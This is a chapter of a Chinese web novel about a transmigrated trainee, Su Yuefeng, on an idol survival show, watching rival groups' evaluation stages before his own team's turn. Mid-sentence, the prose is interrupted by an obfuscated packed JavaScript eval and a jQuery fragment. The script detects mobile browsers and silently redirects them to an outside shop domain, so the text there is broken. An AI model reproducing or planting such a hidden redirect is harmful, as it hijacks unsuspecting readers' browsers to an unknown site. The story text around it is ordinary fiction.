钧星娱乐的表演像是一条分水岭,在他们之后登场的几组选手被衬得更加平庸。虽然他们的水平完全在及格线以上,可惜练习生们和导师的期待值已经被被钧星拉高了,同样的水平放在开场可能还算亮眼,放在钧星后面就显得乏善可陈。
一个专业rapper的出场勉强激起了练习生们的热情,但或许是赛道有差异,即使这个有一定粉丝基础的资深rapper表现出色,强势拿下A班一席,也没有激起太多练习生的危机感。
“专业rapper为什么来这里啊?”
“也不是很糊的样子,来蹭选秀冷度是不是反而有点亏呢。”
“感觉他也没有很想出道的决心吧,舞蹈一看就没上心,全靠rap进A班了。”
苏月逢正准备继续放空思绪,一阵突兀的前奏把他的注意力拽了回来。一首似乎不该出现在选秀舞台上的曲子猝不及防地闯进了他的耳朵,身旁闻澈烦躁地狂挠头,爆出一声响亮的粗口。
这首歌他在刷短视频恶补流行文化的时候听过不下二十遍,每刷十条视频就至少有两条在用它当背景音乐。旋律洗脑,歌词空洞,编曲廉价,是那种听一遍就能跟着哼,听多了会感觉耳朵饱受折磨的类型。
苏月逢皱眉看向舞台。
舞台上的五个男生动作整齐,音准在线,乍一看还挺像那么回事。但多看两眼就会发现,他们的舞蹈动作很是松散,表情管理更是一言难尽,公式化的挑眉Wink咬嘴唇,眼神飘忽不定,散发出搔首弄姿的满满轻浮感。
这舞台实在太像短视频推荐页的推送了,只差右边冒出点赞评论和转发按钮。苏月逢恍惚间感觉手指痒痒的,下意识地想轻轻滑动,把这五个人连同这段音乐一起划走,跳到下一个视频去。
他正准备努力放空大脑,避免耳朵再受到毒害,突然听到了其中一个男生开口唱歌。
那个男生站在队伍的侧翼位置,一眼望去存在感不算强,长相也不是最出挑的那个,但他一开口,整个舞台的质感瞬间被拉上了一个台阶。
他的声音扎实,共鸣感很强,即使在这首编曲粗糙的歌里也能听出底子很好。
可惜了,苏月逢在心里叹了口气。这首歌完全配不上这个人的嗓子,选歌的失误直接给他最大的优势打了折扣,导师们或许能听出他的潜力,但在节目剪辑里,这个好嗓子注定会被烂歌拖累,成为搞笑出圈的奇葩舞台的一员。
表演结束,导师们纷纷叹息,点评主要围绕着实力与表情管理需要加强以及选歌很重要来展开。那个vocal好的男生被单独点名夸了嗓音条件,和另一个舞蹈还算出色的男生进了B班,剩下三个打包去了D班。
苏月逢在脑海中默默记下了他的名字:许望竹。好嗓子很难得,或许之后可以争取一下公演组队的机会。
闻澈靠过来:“刚才有个唱歌的嗓子还不错。但他们组跳舞太难看了,看起来很不正经的样子。”
苏月逢笑了笑,闻澈平日里对短视频里泛滥的洗脑歌曲深恶痛绝,没想到还能突破个人偏见,注意到实力出色的练习生。
“还以为在舞台上听到这种歌你会抓狂。”
闻澈挑眉:“我很专业的,好吧。”
乔千帆在一旁独自开朗:“哎呀,感觉我和他们水平好像差不多,或许也能进B班呢。”
苏月逢和闻澈对视一眼,压一压忍不住上翘的嘴角,没说什么打击孩子积极性的话,林屿笑着拍拍乔千帆的胳膊。
轮到下一组上场,两个男生站在偌大的舞台中央,和之前大部分是四五人的队伍比起来,两个人的阵仗显得格外单薄。
他们没有穿统一定制的舞台服装,一个穿着一件oversize的连帽衫,另一个穿的是T恤叠加半袖外套,看得出来是自己搭配的,努力想往潮流上靠,但效果有些平庸,更和舞台需要的造型相去甚远。
连帽衫男生举起话筒,声音是显而易见的紧张:“大家好,我们是前组合DUAL的成员,我叫白知夏。”
他往旁边看了一眼,黑T男生赶忙接上话题:“大家好,我是关寒。我们的组合已出道两年,但在不久前刚刚解散。组合的其他队友都转去拍短剧了,就只剩我们俩还想继续做爱豆,所以……所以我们来了这里。”
练习生们开始窃窃私语。
“DUAL?没听过……”
“出道两年就解散了,听起来好惨。”
“回锅肉啊。这节目停播五年了才重启,来这儿真能翻身吗?”
“肯定是没大公司愿意收他们,才来这里再碰碰运气。”
“去拍短剧赚赚钱不是也挺好的?干吗非得当爱豆。”
“这话说的,那你为什么来这里?”
“……”
乔千帆探过身子,压低声音问闻澈:“出道过又回来参加选秀的,是不是就是回锅肉?”
闻澈没理他。
乔千帆又凑近了一点:“那澈哥你算不算半碗回锅肉啊?你之前是不是差点就能出——”
“闭嘴!”闻澈举起拳头在他面前挥了挥假装要揍他,乔千帆立刻老实了,缩回去乖乖坐好,当做无事发生。
林屿在一旁憋着笑。
音乐响起,能看出来两个男生练过,而且练了很久,站在左侧的关寒像是反复打磨过动作,完成度很高,却显得过于规整,稳是很稳,少了点让人印象深刻的瞬间。
白知夏则明显更放得开一些,眼神始终追着镜头,情绪外露,但动作的控制略微有些不稳定,一眼看去实力比关寒稍逊一筹。
他们来自的不知名小公司所产出的作品,编曲和编舞十分平庸,就和他们成员的表现一样。
身后的议论声又飘了过来。
“哎,其实还行吧……就是感觉差点什么。”
“和刚才钧星那几个比,差的可不是一点吧。”
“那能比吗?人家钧星一个月的训练资源顶他们一年的。”
“话是这么说,但观众才不会看你背后吃了多少苦,只看舞台上呈现了什么。”
表演结束,两个男生站在舞台中央喘着粗气,额头上的汗在灯光下亮晶晶的。他们鞠躬的角度很深,能看到肩膀在微微发抖,分不清是累还是紧张。
评级公布,两人都是B班。
这个结果比苏月逢预想的要高。关寒的实力确实不错,但作为偶像的吸引力有些弱,放在组合里很容易被更亮眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707094|208341||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的选手所淹没。
苏月逢看着他们慢慢走向自己的席位。糊是有原因的,实力或许够用,但不够吸引人就很难被记住。努力值得尊重,却不一定能换来人气。
他需要确保自己站上那个舞台时不会成为那种让人转头就忘的存在。
一阵细微的焦虑感从内心深处泛起。这不是他的焦虑,他对即将到来的舞台没什么不安,该准备的都准备了,和之前执行任务没有区别。
但‘苏月逢’似乎不这么想,那份焦虑缓慢地持续上涌,害怕表现不好被忽视,担忧多年的付出最终什么都换不来,这些情绪沉沉地坠在他的胸口。
苏月逢低下头,松开不知道什么时候攥紧的拳头,看向指甲在掌心里掐出的月牙印子。
闻澈忽然用胳膊肘碰了碰他:“到我们了。”
苏月逢看向舞台侧方的一个小屏幕,上面写着: 「下一组登场队伍:凌云影视」
他坐直身体环顾四周,发现演播厅的气氛已经和刚才不太一样了。经过十几组选手的轮番表演,练习生们最初的新鲜感和紧张感都消退了不少,姿态也变得松散起来,小声聊天或是低头发呆,大家都哈欠连天,有些疲惫了。
只有A班区域的几个人坐得端正,季曜行正和旁边的人说话,表情认真,连漪生则独自坐在一旁,闭着眼睛不知道在想些什么。
苏月逢活动了一下久坐后僵硬的肩颈,缓缓站起身。
起身的瞬间,心跳似乎快了一拍,呼吸也跟着加速,掌心慢慢沁出一层薄汗。
他的身体在微微发抖,‘苏月逢’等这一天等了很多年,渴望和恐惧搅在一起,化成了不受控制的心跳和掌心的汗。
他深吸一口气又缓缓吐出,心跳变得平稳,但情绪没有完全退去,像一簇被风吹不灭的火苗被压在心底。
他默默又敲了敲脑海中的036:“你确定这具身体里现在只有我自己吗?他的意识好像对我影响有点大,总不能是附赠了个情绪回放功能吧。”
「当然,新宿主已经去管理局报道了。建议您不要分心,专注眼前任务。」
身旁的闻澈也站了起来,战意夹杂着对舞台的热情让他的眼睛闪闪发亮。
“走吧。”闻澈说。
林屿笑着站起来,拍了拍衣服上并不存在的灰尘。
乔千帆缓缓起身,小声嘟囔了一句:“我好紧张啊。”
闻澈锤了一拳他的肩膀以示鼓励,他紧张地呲牙笑了笑,挺直了腰板。
四个人走向后台通道,苏月逢走在最后面,悄悄攥了攥拳头又松开,感受着身体反馈的力度。余力不算充裕,单纯完成舞台的话应该够用了。
但他不打算仅仅只是完成舞台。
刚才坐在台下看了十几组表演,他很清楚现在全场的注意力是什么状态。疲惫,困倦,情绪被拉到顶点之后又一路滑坡,长时间录制的中途是最令人犯困的时候。
这恰恰是最好的时机,期待越低,冲击越大。
苏月逢抬起头,前方就是尚未被灯光照亮的深色舞台。
他不想单纯做队伍中一个恰到好处又无功无过的齿轮,他要让全场所有已经涣散的目光重新聚回舞台,聚到他一个人身上。